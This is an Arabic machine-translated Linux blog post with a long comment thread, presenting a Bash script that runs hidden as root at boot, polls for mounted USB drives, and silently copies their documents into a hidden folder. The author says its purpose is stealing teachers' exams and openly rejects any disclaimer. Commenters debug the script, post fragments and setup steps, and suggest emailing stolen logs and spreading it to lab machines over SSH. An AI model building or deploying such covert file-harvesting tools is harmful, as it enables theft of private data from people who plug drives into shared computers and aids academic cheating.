برنامج نصي للتجسس على محتوى أجهزة USB ونسخه إلى جهاز الكمبيوتر

كنت دائمًا طالبًا لا يهدأ ، وأرغب دائمًا في الاستفادة من الفرص مثل ... على سبيل المثال ، نسخ امتحانات الفصل الدراسي من محرك أقراص USB للمعلم أو شيء من هذا القبيل. عندما كنت في المدرسة الثانوية (تخصص كمبيوتر) كنت أرغب في برمجة "شيء" من شأنه:

  1. اكتشف متى يتم توصيل جهاز USB بجهاز كمبيوتر الفصل الدراسي
  2. انسخ كل المحتوى من هذا الجهاز إلى جهاز الكمبيوتر الخاص بك

سيسمح لي هذا بإجراء الاختبار في وقت مبكر جدًا ، وسيكون من الضروري فقط للمعلم توصيل ذاكرة USB (بندريف) بالكمبيوتر وهذا كل شيء.

لسوء الحظ ، كان لدى أجهزة الكمبيوتر في مؤسستي Windows و ... لم أتعلم أبدًا ولم أتعلم البرمجة لنظام التشغيل هذا.

ومع ذلك ، الآن أستخدم Linux (من الواضح أنه لا؟ LOL!) ، ومع العلم أنه طوال هذه السنوات تمكنت من الحصول عليها ، الآن نعم! يمكنني بالفعل تحقيق ذلك مع Linux 😀

بمعنى ، لقد قمت ببرمجة برنامج نصي بسيط يقوم بما يلي:

1. قم بإنشاء المجلد / home/.USBDRIVES/
2. يتم التحقق كل 5 ثوانٍ إذا كان هناك أي جهاز USB (أو CD / DVD) متصل بالكمبيوتر.
3. في حالة توصيل أحدهم ، سيتم إنشاء مجلد داخل / home/.USBDRIVES/ باسم USB (على سبيل المثال: ذاكرة 2 جيجابايت) وأيضًا ، سيتم نسخ جميع الملفات .doc ، .pdf ، إلخ (هنا القائمة) إلى هذا المجلد الذي أنشأته للتو.
4. في حالة عدم وجود USB متصل ، سوف ينتظر ببساطة 5 ثوانٍ لبدء الفحص الذي شرحته أعلاه مرة أخرى 😀

إليك النص والملف الذي يحتوي على التنسيقات المراد نسخها:

قم بتنزيل USB-Spy.zip
يجب تنفيذ البرنامج النصي كجذر حتى لا يقتصر تشغيله. هنا أشرح كيفية تحقيق ذلك

حتى يعمل البرنامج النصي دون أي مشاكل ، فمن الأفضل أن يبدأ بامتيازات إدارية (الجذر) ، لأنه من الواضح أنه يحتاج إلى البدء مع الكمبيوتر ، وبهذه الطريقة نتأكد من إعادة تشغيل الكمبيوتر أو إيقاف تشغيله ، عندما أبدأ البرنامج النصي مرة أخرى ، سيكون هناك عمل ، وجاهز لاستخراج ما نريد من أي USB 😉

لنفتح محطة ... مرة واحدة مفتوحة ...

1. افترض أن لدينا كلا الملفين بتنسيق /يختار، يقرر/ (/opt/usb-spy.sh y /opt/usb-spy.files) ، يجب أن نمنحه امتيازات التنفيذ:

sudo chmod +x /opt/usb-spy.sh

2. نفتح الملف /etc/rc.local :

sudo nano /etc/rc.local

3. نكتب فيه فوق السطر الأخير (خروج 0) التالي:

/opt/usb-spy.sh &

4. الآن نضغط على [Ctrl] + [X] لحفظ الملف والخروج منه ، نضغط [S] أو [Y] (حسب لغة النظام) ثم [أدخل]. سيكون هذا كافيًا لحفظ التغييرات التي أجريناها.

وفويلا ، سيكون هذا كافيًا لبدء البرنامج النصي كجذر عند تشغيل الكمبيوتر.

من المهم التحقق من أن الملف ملفات usb-spy موجود في نفس الدليل مثل USB- spy.sh ؟؟؟؟

الآن ... سأشرح قليلاً عن الأعمال الداخلية للسيناريو ، حيث أعرف أن هناك الكثير من عشاق Bash هنا

Q: كيف يعرف البرنامج النصي أن جهاز USB متصل؟
ج: في ملف / etc / mtab الخاص بنظامنا توجد الأجهزة أو الأقسام المثبتة على نظامنا. من خلال السطر 23 من البرنامج النصي ، من المعروف ما إذا كان هناك USB متصل أم لا (جعل القط إلى وسائط mtab و grep)
س: نعم ولكن كيف يعرف البرنامج النصي ما إذا كان القط و grep يعيدان أي بيانات إلينا أم لا؟
ج: من خلال أ إذا ، ثم ، حلقة أخرى الذي يبدأ في السطر 24.
Q: كيف تجعله ينسخ الملفات ذات الامتدادات المرغوبة فقط؟ (.doc ، .pdf ، إلخ)
ج: باستخدام rsync مع معلمات مختلفة ، هذا موجود في السطر 34. شرح ببساطة ، باستخدام rsync أنا أنسخ فقط الملفات التي تطابق مرشح usb-spy.files ، كل سطر هو مرشح إذا جاز التعبير. أنا أيضا تمرير المعلمة --prune-empty-dirs إلى rsync حتى لا يتم إنشاء أدلة فارغة بالنسبة لي.
بالمناسبة شيء مهم. إذا تم توصيل جهاز USB سعة 8 جيجابايت (على سبيل المثال) ، فكل شيء يعمل بشكل صحيح ، لكنني لاحظت أنه إذا تم توصيل جهاز بسعة أكبر بكثير ، مثل 500 جيجابايت أو 1 تيرابايت ، فإن عملية البحث عن ملفات .doc وما إلى ذلك لنسخها إلى الكمبيوتر تستغرق وقتًا لفترة طويلة ، لذلك أضع حدًا للجيجابايت. أي ، في السطر 31 ، أعلن أنه إذا كان جهاز USB أقل من 16 جيجابايت ، فابحث عن الملفات وانسخها ، ولكن إذا كان حجمها أكبر من 16 جيجابايت ، فلا تفعل شيئًا. إذا كنت ترغب في زيادة 16 غيغابايت بمقدار 32 غيغابايت ، فما عليك سوى زيادة هذا الرقم من السطر 31

لا يوجد الكثير لشرحه في الواقع ، فالبرنامج النصي سهل الفهم حقًا :)

إذا كان لدى أي شخص أي شكوك أو أسئلة أو شكاوى أو أفكار أو اقتراحات ، فيرجى إخبارهم بذلك وأتعهد بمساعدتهم قدر الإمكان.

حسنًا ، كنت أفكر في وضع شيء مثل: «هذا البرنامج النصي للأغراض التعليمية فقط ، لا تستخدمه مع الملفات الضارة»... لكن ... ما هذا بحق الجحيم! ، استخدمه في أي شيء تريده ، فقد حان الوقت لكي يتمتع الطلاب بنوع من المزايا ضد المعلمين الذين يضطهدوننا 😀

تحياتي

لا يزال بإمكانك إجراء تحسينات متعددة على النص ، ولكن حسنًا ، أعتقد أن هذه بداية جيدة ، إذا شعر أحدهم بالحافز للمساهمة في هذا "النبيل" لأنه سيكون من دواعي سروري 😀

اترك تعليقك

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها ب *

*

*

  1. المسؤول عن البيانات: ميغيل أنخيل جاتون
  2. الغرض من البيانات: التحكم في الرسائل الاقتحامية ، وإدارة التعليقات.
  3. الشرعية: موافقتك
  4. توصيل البيانات: لن يتم إرسال البيانات إلى أطراف ثالثة إلا بموجب التزام قانوني.
  5. تخزين البيانات: قاعدة البيانات التي تستضيفها شركة Occentus Networks (الاتحاد الأوروبي)
  6. الحقوق: يمكنك في أي وقت تقييد معلوماتك واستعادتها وحذفها.

  1.   إيلاف قال

    الغشاش ¬¬

    XDDDD

    1.    KZKG ^ جارا قال

      لا على الإطلاق ... إذا كنت متأكدًا من أنك فكرت في مرحلة ما أن تفعل شيئًا كهذا ... HAHAHA.

      1.    إيفان مولينا قال

        لقد أنقذتني من مسابقة البوب ​​Now ... الآن "KZKG ^ Gaara" أنت إلهي ... سبحانك!

    2.    فاكوندو قال

      مرحبًا ، برنامج نصي جيد جدًا ، ولكن في ميجا الملف لم يعد موجودًا ، يمكنك إرساله إلى بريدي الإلكتروني ، من فضلك

  2.   أوسكار قال

    لينكس هو 1٪ وأنت تقول أنك لم تتعلم البرمجة لويندوز ، لذا فإن الدروس الخصوصية لنظام لينكس ، سؤالي هو: ما هي إمكانية العثور على مدرس يستخدم لينكس لإجراء الدروس الخصوصية؟

    1.    KZKG ^ جارا قال

      يتم "تنفيذ" هذا النص أو الخدعة على جهاز كمبيوتر ليس بالضرورة أن يكون شخصيًا أو خاصًا بالأستاذ ، ويكفي أن يكون أي جهاز كمبيوتر من جامعة أو كلية ، ومن ثم لن يكون من الممكن تحقيقه إلا بواسطة X أو سبب قيام الأستاذ بتوصيل USB الخاص بك على هذا الكمبيوتر.

      نعم ، إنه لنظام Linux ، لكن العديد من الجامعات لديها Linux كنظام في معامل الكمبيوتر ، بالإضافة إلى التمهيد باستخدام قرص حي وليس بالضرورة تثبيت Linux على جهاز الكمبيوتر 🙂

      حول 1٪ ، أوصيك بقراءة هذا المنشور: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    هيوجا_نيجي قال

      احتمال سقوط نيزك عملاق على المحيط الأطلسي في حوالي 30 دقيقة

  3.   جوش قال

    يبدو مثيرا للاهتمام ، يجب تجربته.
    شكرا

    1.    KZKG ^ جارا قال

      الأداة التي تحتوي عليها ليست شيئًا رائعًا ، ولكن النص على هذا النحو مثير للاهتمام ... لأنه يمكنك تعلم عدة نصائح منه ، على سبيل المثال كيفية معرفة USB المتصل وحجم الأقسام وما إلى ذلك 🙂

  4.   cr0t0 قال

    مقال أصلي وموضح جيدًا KZKG ^ Gaara. في صحتك!

    1.    KZKG ^ جارا قال

      شكرا لك

  5.   أوسكار قال

    يا لها من جرأة !!! ، وأنت تجرؤ على كتابتها على المدونة OO ، لا أعرف ما أفكر فيه ، هل يمكن أن يكون شخص لا يحبه قد اخترق Gaara؟

    1.    KZKG ^ جارا قال

      صفاقة؟ لماذا ا؟
      على الرغم من أن الغرض أو الدافع من النص قد لا يكون جادًا مثل بقية مساهماتي ، أعتقد أن النص وخطوطه ومنطق البرمجة لديه الكثير للمساهمة فيه.

      يمكنك الاستفادة من عدة أشياء من هذا البرنامج النصي:
      1. كيف تعرف حجم القسم وأن هذا متغير.
      2. كيفية التحقق من وجود USB متصل واستخراج مساره واسمه.
      3. حلقات if-then-else و while.

      على أي حال ، لا أعتقد أن هذا عديم الفائدة تمامًا أو شيء من هذا القبيل.

      1.    أوسكار قال

        أعتقد أنك تسيء تفسير تعليقي ، أعني في بداية مقالتك ،
        "كنت دائمًا طالبًا لا يهدأ ، وأرغب دائمًا في الاستفادة من الفرص مثل ... على سبيل المثال ، نسخ امتحانات الفصل الدراسي من بندريف المعلم أو شيء من هذا القبيل." إذا كان ما أقوله يزعجك ، أرجو أن تعذري ، فلم يكن ذلك في نيتي.

        1.    بلير باسكال قال

          يا لها من مدونة ممتازة ، مقالات جيدة ، قراء جيدون ، يعتذر المستخدمون ... إنها جنة لول خالية من المتصيدون.

          1.    KZKG ^ جارا قال

            شكرا ^ - ^
            نحن فخورون بما حققناه حتى الآن ، هذا المجتمع فخور حقًا ... إنه لأمر رائع أن تكون جزءًا من كل هذا 😀

        2.    KZKG ^ جارا قال

          لا لا على الإطلاق ، لم أزعج نفسي على الإطلاق xD
          ونعم ، كان خطأي في إساءة تفسير تعليقك ههههه ، آسف لذلك

          لا شيء من اعتذاري يأتي مني الآن ، سأضطر إلى غسل وجهي لمعرفة ما إذا كنت قد انتهيت من الاستيقاظ ... مما أراه ، ما زلت لست 100٪ HAHAHA.

          تحياتي الصديق 🙂

        3.    أوسكار قال

          xD شخص جيد جدا

  6.   نيوميتو قال

    أود أن يكون لأجهزة الكمبيوتر في كليتي نظام Linux muhahahjaja.

  7.   GGGG1234 قال

    مادة جيدة!
    لكن من يريد تقليدها في Windows سيكون أسهل ، لأنه إذا لم يكن لديك حق الوصول إلى الجذر على الجهاز الذي تريد استخدامه ، فلا يمكنك تركه "إلى الأبد". مع Windows لا يحدث ذلك 😉

  8.   بلير باسكال قال

    الكالينجيون جيد جدا.

  9.   هيوجا_نيجي قال

    الفكرة جيدة ، لديها فقط ضعف الحاجة إلى استخدام امتيازات الجذر

    1.    KZKG ^ جارا قال

      حسنًا ، لا تحتاج حقًا إلى أن تكون جذرًا على هذا النحو ... إذا أعلنت للبرنامج النصي أن المجلد لن يكون / home/.USBDRIVES كما أصفه ، وهو يقول على سبيل المثال: / home / usuario /. USBDRIVES ... ثم تنفيذ البرنامج النصي مع "المستخدم" سيكون كافيا 😀

  10.   إميليو قال

    إنها فكرة جيدة ، لكنني أعتقد أنك ستوفر على نفسك تعديل rc.local وتشغيله كل دقيقة من خلال crontab ، وبالتالي تتجنب مشكلة تشغيله كجذر والباقي ، من ناحية أخرى ، على الرغم من أنه لا يؤثر كثيرًا ، فأنت تستهلك ذاكرة الكمبيوتر دون فائدة كل 5 ثوانٍ للتحقق مما إذا كان USB موجودًا ، حتى عندما لا يكون كذلك. حسنًا ، هذه وجهة نظري

    1.    KZKG ^ جارا قال

      أعني ، أجرِ فحصًا كل دقيقة ، أليس كذلك؟ لم أفعل ذلك بهذه الطريقة لأن ... ماذا لو تم توصيل USB وفصله في أقل من دقيقة واحدة؟ 😀

      فضلت القيام بذلك كل 5 ثوانٍ للتأكد من "التقاط" جميع أجهزة USB 😉

      إذا أسأت فهمك ، من فضلك صححني 🙂

      تحياتي ومرحبا بكم.

      1.    إميليو قال

        نعم ، قم بالتحقق كل دقيقة من خلال cron ، ولكن كل واحد لديه طريقة مختلفة لرؤية المشكلة ، ليس أكثر من النظر إلى الكود ، لن يكون من الأفضل التحقق مما إذا كان المجلد /home/.USBDRIVES موجودًا بالفعل قبل إنشائه ، هو اقتراح لا أكثر

        تحياتي

        1.    KZKG ^ جارا قال

          نعم أيضًا ، إنه أحد التفاصيل التي لاحظتها ولكن ... كنت كسولًا لحلها LOL!

          وبالمثل ، يمكنني وضع سجل حيث يتم عرض الملفات التي تم نسخها (سجل فردي لكل جهاز) ، وربما حتى إرسال هذا السجل عبر البريد الإلكتروني (باستخدام طريقة معينة لإرسال البريد الإلكتروني من خلال تلك التي وضعتها هنا على الموقع) ... لكن كما أخبرتك ، هذا يجعلني كسولًا بعض الشيء ^ - ^ U

  11.   بافلوكو قال

    هههههههه عظيم.

  12.   هيكسبورغ قال

    AHA! لذلك يمكن استخدام برنامجك للشر. هههه!!! 🙂

    الحيلة جيدة ، لكن ... ماذا لو كنت تريد إلغاء تحميل USB قبل أن ينتهي البرنامج النصي من نسخ محتواه؟ في هذه الحالة ستشتكي من أنها قيد الاستخدام وستلاحظ وجود خطأ ما. 🙂

    1.    KZKG ^ جارا قال

      في الواقع ، لن يسمح النظام بإلغاء تثبيت USB لأن "شيئًا ما" سيستخدمه 😉

      1.    هيكسبورغ قال

        بالضبط! وذلك عندما يعتقد أستاذ أوسكار أنه وجد فيروس لينوكس. هههه!! 🙂

  13.   أوسكار قال

    لقد جعلتني أتذكر مرة أنني فعلت شيئًا مشابهًا (على Uni الخاص بي إذا كان لدينا نظام Linux / windows) ، لكنني صنعت برنامج C الذي أنتج آلاف المجلدات. لقد قمت بتنجيد USB لرجل قام بتوصيله. اندهش مدير مركز الكمبيوتر! ظن أنه وجد فيروس في لينوكس موجاجاجا ... آآآآآآآآآآه

    1.    ميجيل قال

      وما الفرق مع الفيروس؟

      1.    أوسكار قال

        أنني دخلت إلى USB الخاص به عن بعد وقمت بتشغيل البرنامج 😛

        1.    ميجيل قال

          هاهاها ، لذلك كان اختراق XD

    2.    KZKG ^ جارا قال

      <img draggable="false" class="emoji" alt="" src="https://s.w.org/images/core/emoji/2.2.1/svg/1f600.svg">
      هههههههه هل وجدت فيروس في لينكس أليس كذلك؟ … لول!!

  14.   سيمبرومس قال

    إنه لا يعمل بالنسبة لي xD ، إذا حاولت تشغيله من الجهاز ، فإنه يخبرني بهذا: ./usb-spy.sh: سطر 31: [: -lt: عامل تشغيل أحادي متوقع
    يبدو أن هناك خطأ ما في هذا السطر: if [$ USBSIZE -lt 15664800]؛ ثم
    لكنني لا أعرف ما هو ، لأنه لا يقوم أيضًا بإنشاء دليل .USB.

    إذا كان من الممكن حلها ، يمكنني العثور على نص مفيد.

    1.    هيكسبورغ قال

      حاول استبدال df بـ / bin / df وتأكد من تشغيله كجذر.

      1.    سيمبرومس قال

        حسنًا ، الآن إذا أنشأ مجلد .USB داخل الدليل الرئيسي ، لكنه يستمر في إخباري من خلال الجهاز الطرفي أن: "./usb-spy.sh: سطر 31: [: -lt: unary Operator المتوقع" ولا ينسخ لا شيء ، في هذا السطر يجب أن يكون هناك بعض التعارض ، وأنا أقدر المساعدة إذا رآها أحد.
        شكرا جزيلا.

        1.    هيكسبورغ قال

          هل يمكنك أن تعطينا محتوى ملف / etc / mtab الخاص بك عند توصيل USB؟

          1.    سيمبرومس قال

            بالتأكيد ، هنا يذهب:

            / dev / sda12 / ext4 rw ، الأخطاء = remount-ro 0 0
            proc / proc rw، noexec، nosuid، nodev 0 0
            sysfs / sys sysfs rw ، noexec ، nosuid ، nodev 0 0
            لا شيء / sys / fs / fuse / links fusectl rw 0 0
            بلا / sys / kernel / debug debugfs rw 0 0
            لا شيء / sys / kernel / securityfs rw 0 0
            udev / dev devtmpfs rw ، الوضع = 0755 0 0
            devpts / dev / pts devpts rw ، noexec ، nosuid ، gid = 5 ، الوضع = 0620 0 0
            tmpfs / تشغيل tmpfs rw ، noexec ، nosuid ، الحجم = 10٪ ، الوضع = 0755 0 0
            بلا / تشغيل / قفل tmpfs rw ، noexec ، nosuid ، nodev ، الحجم = 5242880 0 0
            لا شيء / تشغيل / shm tmpfs rw ، nosuid ، nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw ، noexec ، nosuid ، nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw ، nosuid ، nodev ، uid = 1000 ، gid = 1000 ، الاسم المختصر = m $

            الأسطر الأخيرة هي تلك الخاصة بـ USB / dev / sdb1 المُثبت

          2.    هيكسبورغ قال

            دعونا نرى إذا حصلنا عليها. 🙂

            أعطنا إخراج الأمر df. وحاول إضافة السطر:

            صدى $ USBSIZE

            مباشرة أمام إذا كان هذا يعطي المشكلة وأخبرنا بما سيظهر عند تشغيل البرنامج النصي. يجب أن تبدو هذه:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'print $ 2'} `
            صدى $ USBSIZE
            إذا كان [$ USBSIZE -lt 15664800] ؛ ثم

            وفقط في حالة حدوث ذلك ، أخبرنا أيضًا عن ناتج الأمر df.

            1.    سيمبرومس قال

              حسنًا ، في بعض الأجزاء ، يعيد الأمر df هذا إلي:

              نظام الملفات 1K- كتل مستخدمة متاحة الاستخدام٪ Mounted on
              / dev / sda12 54082300 45246956 6125892 89٪ /
              udev 2004028 4 2004024٪ / ديف
              tmpfs 805768 1180 804588 1٪ / تشغيل
              لا شيء 5120 0 5120 0٪ / تشغيل / قفل
              لا شيء 2014420 92 2014328 1٪ / تشغيل / shm
              / dev / sdb1 1023200 322256 700944 32٪ / media / DOCU 3

              الأمر الذي يعيدني df: / bin / df

              ثم وضعت echo $ USBSIZE ، والنتيجة هي نفسها ، فهي لا تطبع أي شيء جديد ، لكن الخطأ من قبل ، والشيء المضحك أن هذا يحدث مع USB الذي أقوم باختباره ، إذا وضعت محرك الأقراص الصلبة الخارجي 500 جيجابايت نعم ، يقوم بإرجاع حجم القرص على الشاشة ، لكن 500 يتجاوز حجم القرص إذا كان حجمه 16 ، وبالتالي لا يفعل شيئًا مع القرص الثابت.

              لكن مع USB ، لا يفعل شيئًا ، بخلاف إظهار الخطأ: ./usb-spy.sh: السطر 34: [: -lt: عامل تشغيل أحادي متوقع
              يبدو الأمر كما لو أنه لا يمكنه إظهار حجم USB ، ولكن باستخدام الأمر df أحصل على حجمه.

              شكرًا على المساعدة ، دعنا نرى ما إذا كان بإمكاننا الحصول عليها!


            2.    سيمبرومس قال

              في حالة عدم ظهور الأمر بشكل جيد هنا أترك لقطة شاشة: http://i48.tinypic.com/j5dvn5.jpg


          3.    هيكسبورغ قال

            أرى أنه في mtab ، المسار الذي يظهر فيه مثبتًا هو "/ media / DOCU403" بينما يظهر في df "/ media / DOCU 3". هذا يجعل grep لا يجدها ولا يعيد الحجم. حاول تغيير الأسطر الأولى من من أجل بحيث تبدو كالتالي:

            لـ USBD في `cat / etc / mtab | وسائط grep | awk '{print $ 1}' ''؛
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' '
            USBSIZE = `/ bin / df | grep $ USBD | awk {'print $ 2'} `

            تتكون التغييرات من تغيير اسم المتغير إلى USBD ، وتغيير $ 2 في نهاية السطر لـ $ 1 ، وإدخال السطر الذي يبدأ بـ USBDEV بعد ذلك مباشرة وتغيير USBDEV إلى USBD في السطر الذي يبدأ مع USBSIZE ... آمل ألا أعبث. 🙂

            الفكرة هي القيام بذلك من خلال اسم الجهاز بدلاً من نقطة التحميل.

            1.    KZKG ^ جارا قال

              كانت المشكلة أنه في mtab عندما يحتوي الجهاز على مسافات ... فإنه يضع بعض الأحرف "الغريبة" على السطر ، وتحديداً في مكان الفراغ.

              لا شيء ، يمكن حله بسهولة مثل تغيير طريقة تعيين USBDEV $ ، في السطر 28 قم بتغييره ووضعه على النحو التالي:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              <img draggable="false" class="emoji" alt="" src="https://s.w.org/images/core/emoji/2.2.1/svg/1f600.svg">


          4.    أثيوس قال

            دعني أرى ما إذا كان بإمكاني مساعدتك ...

            المشغل الأحادي يظهره لأنه لا يحدد حجم القرص ، وهذا يحدث لأنه لا يتحقق منه ، وهذا يحدث لأنه يسمى

            المستند 3

            ويأخذها كقيمتين ، إذا كانت DOCU فلن تفتح مشكلة

            ربما هذا سوف يعمل من أجلك

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            تحياتي 🙂

            1.    سيمبرومس قال

              في الواقع هذه هي المشكلة ، لأنني جربت للتو مع USB آخر له اسم مع كلمة بدون مسافات ، مثال "فئات" والنص يعمل بدون مشاكل ، ولهذا السبب تعرف على القرص الصلب وليس الذكريات ، ولكن الآن الشيء هو بمعرفة كيف أضع علامات الاقتباس في كود البرنامج النصي ، هل يجب عليّ وضعها في "$ USBNAME"؟

              شكراً جزيلاً لـ Atheyus و Hexborg للمساعدة ، لقد أوشكت على الانتهاء.


          5.    KZKG ^ جارا قال

            في الحقيقة سيمبرومس من السهل جدًا إصلاحه 😉
            السطر 28 ... قم بتغييره إلى هذا:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            لقد أجريت الاختبار مع هذا التغيير وهو يعمل بشكل جيد مع الأجهزة التي تحتوي التسمية / الاسم على مسافة :)

            الآن سأجري التغيير في البرنامج النصي للتنزيل.

          6.    هيكسبورغ قال

            جيد جدا. لذلك من السهل الإصلاح. 🙂

  15.   أوروش قال

    أوه ، عبقري جدًا 😀 سآخذ ملاحظة في حال احتجت إلى ...

  16.   سيمبرومس قال

    KZKG ^ Gaara ، مع هذا الترتيب يعمل بشكل مثالي ، الآن إذا قمت بنسخ USB مع مساحة في الاسم ، شكرًا جزيلاً للجميع على المساعدة ، سأحاول معرفة ما إذا كان بإمكاني تشغيله مع تمهيد النظام وبهذه الطريقة تحقق من كل دورة إذا كان هناك أي USB متصل.

    في النهاية حققنا ذلك xD.

    1.    KZKG ^ جارا قال

      ^ - ^ ... لطيفة الكالينجيون.
      كانت المشكلة أنني استخدمت mtab للتعرف على USB ، كان بإمكاني استخدام df ببساطة ... لقد استخدمت mtab لأنني اعتقدت أنه سيكون من المثير للاهتمام شرح هذا الملف لهم ، وأنهم يعرفون ذلك ، لكنني لم أتوقع ذلك سيحدث خطأ مع الأجهزة ذات المسافات لول.

      أي أسئلة أو مشاكل تركتها تقول ، كل شخص هنا تقريبًا يحب المساعدة xD

      تحياتي

    2.    هيكسبورغ قال

      بالطبع. نحن لينكسيرز. نحن دائما نحصل عليه. وجه ضاحك.

  17.   يريتيك قال

    قم بتثبيت برنامج خفي على جهاز الكمبيوتر الخاص بالمدرس يقوم بإنشاء سجل لجميع ملفات doc و. docx و. odt و. pdf وإرسالها إليك بالبريد. بالإضافة إلى فحص جهاز الكمبيوتر من وقت لآخر بحثًا عن التغييرات أو الملفات الجديدة أو عمليات الحذف في السجل المذكور ، وأي أخبار سترسل لك الملف المعدل أو الجديد عبر البريد أيضًا.

  18.   يريتيك قال

    على أي حال ، أعتقد أن تشغيل هذا النص (وكجذر !!!!) أكثر من مجرد عملية انتحار. أنت تجعل الحياة والأشياء أسهل بنسبة 700 ٪ لأي شخص مهتم بإدراج ملف على جهاز الكمبيوتر الخاص بك مع أذونات الجذر وكل شيء. تذكر أن الامتدادات غير موجودة في Linux وأن .doc في Linux يمكن أن يكون مثل نص أو مقطع فيديو أو أسوأ من ذلك ، نص برمجي (هذه المرة بنوايا سيئة للغاية).

    1.    KZKG ^ جارا قال

      تشغيله كجذر ليس ضروريًا تمامًا ، ما عليك سوى تحديد المجلد حيث سيتم وضع المحتوى في مكان يكون فيه المستخدم قيد التشغيل لديه أذونات الكتابة (على سبيل المثال ، منزله الخاص) وهذا كل شيء

      حول الملفات الخطيرة ... حسنًا ، يمكنك إضافة بعض الأسطر التي من شأنها chmod -x لجميع الملفات ، وبالتالي تفقد خاصية التنفيذ.

      1.    سيمبرومس قال

        لقد أضفت هذه الأسطر في البداية لحذف المجلد .USBDRIVES إذا كان قد تم إنشاؤه بالفعل:

        إذا [-s $ PLACE]
        ثم rm -r $ PLACE
        fi

        بهذه الطريقة ، لن يعطي الخطأ "دليل موجود بالفعل" ، أي إذا كان عليك توخي الحذر من عدم وجود أي شيء في المجلد .USBDRIVES لا نريد حذفه ، لأنه سيحذفه ويضع آخر في مكانه.

  19.   دانيال قال

    لإضافة تنسيقات ملفات جديدة ، فقط اكتبها على usb-spy؟ على سبيل المثال .jpg .mp3 إلخ.

    1.    KZKG ^ جارا قال

      لإضافة أنواع ملفات جديدة ، يمكنك وضعها في ملف usb-spy.files
      انظر إلى محتوى الملف وسترى كيفية إضافته ، الأمر بسيط جدًا 😉

  20.   وويلمر بوليفار قال

    إذا كنا على نفس الشبكة ، وكان هناك آلة للمدرس ، فإن الشيء المثير للاهتمام هو القيام برسم خرائط للشبكة ، وقد يكون لدينا ssh على الأجهزة وبهذه الطريقة نوزع الكود على آلات المختبر أو حتى على جهاز المعلم .... هذا يعطيني الكثير من الأفكار: $

  21.   إكسيلر قال

    مرحبًا ، أهنئكم على المنشور وجميع مساهماتكم ، ولكن لدي سؤال ، لمعرفة ما إذا كان بإمكان أحدهم حل هذه المشكلة:

    كنت أختبر البرنامج النصي الخاص بك على جهاز كمبيوتر مع Ubuntu 12.04LTS (مع Unity) وعمل بشكل مثالي ، لكن كما رأيت أن هذا البرنامج النصي توقف عن التنفيذ بعد أول مرة تم تشغيله ، لأن المجلد .USBDRIVES قد تم إنشاؤه بالفعل ، قررت استخدام هذا النص الآخر الخاص بتأليفك مباشرةً والذي تم نشره في جزء آخر من هذا المنتدى

    هنا أقوم بنسخ البرنامج النصي لتحديد مكانك

    #! / بن / باش
    #
    # - * - التشفير: UTF-8 - * -
    # هذا البرنامج برنامج مجاني. يمكنك إعادة توزيعه و / أو
    # تعديله بموجب شروط الرخصة العامة
    جنو # كما نشرته مؤسسة البرمجيات الحرة ،
    # إما الإصدار 2 من الترخيص المذكور أو (اعتمادًا على
    # اختيار) من أي إصدار لاحق.
    #
    # إذا أجريت أي تعديلات على هذا التطبيق ،
    # يجب أن يذكر دائمًا المؤلف الأصلي لنفسه.
    #
    # الحقوق المتروكة 2012، DesdeLinux.net {مدينة هافانا، كوبا}.
    # المؤلف: KZKG ^ Gaara

    بينما = 0

    بينما [$ CONTROL = 0] ؛ فعل
    القط / الخ / mtab | وسائط grep >> / dev / null
    إذا [$؟ -ne 0] ؛ ثم
    عداد = 0
    آخر
    عداد = 1
    : $ {USBDEV: = `cat / etc / mtab | وسائط grep | awk '{print $ 2}' '/ »}
    cp $ USBDEV / * / home /
    fi
    النوم 5
    فعل

    خروج 0

    الموضوع هو التالي في ubuntu12.04 lts الوحدة التي يعمل البرنامج النصي الأخير بشكل جيد ويعمل ولكن عندما أخفض مستوى الكمبيوتر الشخصي نفسه لسبب "x" ، ومحاولة جعله يعمل في ubuntu 10.10 لا ، يمكنني جعله يعمل
    من ناحية أخرى ، يحدث خطأ ولا يقرأ محركات القلم التي لها اسم مركب ، على سبيل المثال: DATA-G ، ولا ينسخ الملفات التي لها اسم مركب. بصرف النظر عن هذه المشكلة ، لدي مشكلة في أن البرنامج النصي يتم تنفيذه فقط عند إعادة تشغيل جهاز الكمبيوتر مرة واحدة.

    سيكون السؤال: كيف يمكنني أن أجعل هذا البرنامج النصي ينسخ لي ملفات pendrives والملفات ذات الأسماء المركبة
    وإذا كنت أستخدم crontab أو يمكنني جدولته للعمل في وقت معين

    تفصيل آخر ، في Ubuntu 10.10 ، لأنه يستخدم Gnome ، أود إضافة بعض القيود لأخذها في الاعتبار ، عند منح امتيازات التنفيذ لأحد البرامج النصية ، يجب أن يكون موجودًا في /etc/init.d وليس في / etc /
    (ضع في اعتبارك أنه يجب عليك لصقها هناك قادمة من المحطة باستخدام sudo nautilus)

    من ناحية أخرى ، سيكون هناك بُعد آخر هو أنه بعد لصقه هناك لمعرفة ما إذا كان يمكن تنفيذه ، يجب أن يتم ذلك في محطة أخرى

    sudo su (ليكون الجذر)
    كلمه السر

    ls

    cd / etc / init.d

    لس -l

    وهناك نقفز إذا كان يعمل أم لا

    ثم في نفس المحطة أو في محطة أخرى في وقت آخر كجذر وكون في etc / init.d (أي حتى الخطوة cd / etc / init.d) كما في المحطة السابقة نواصل على النحو التالي أذونات التنفيذ

    sudo chmod + x script.sh

    تحديث -rc.d script.sh الافتراضي 80

    إعادة تشغيل

    أكرر ذلك بحيث يتم تنفيذه تلقائيًا في ubuntu 10.10 إذا كان إصدارًا آخر مثل 12.04 ، فعليك أن تفعل ما يقوله KZKG ^ Gaara

    وسؤال أخير ، كيف أرغب في نسخ المحتوى (ما يصل إلى 3 مجلدات فرعية من pendrive) إلى المنزل أو إلى مجلد منزلي مخفي أم لا ، افترض أنه كان .USBDRIVES
    في الكود لا يجب أن أقول

    cp -r /media/*/*/*/home/.USBDRIVES/*

    باختصار ، للحصول على ما أريد ، كيف يجب أن يبقى النص؟
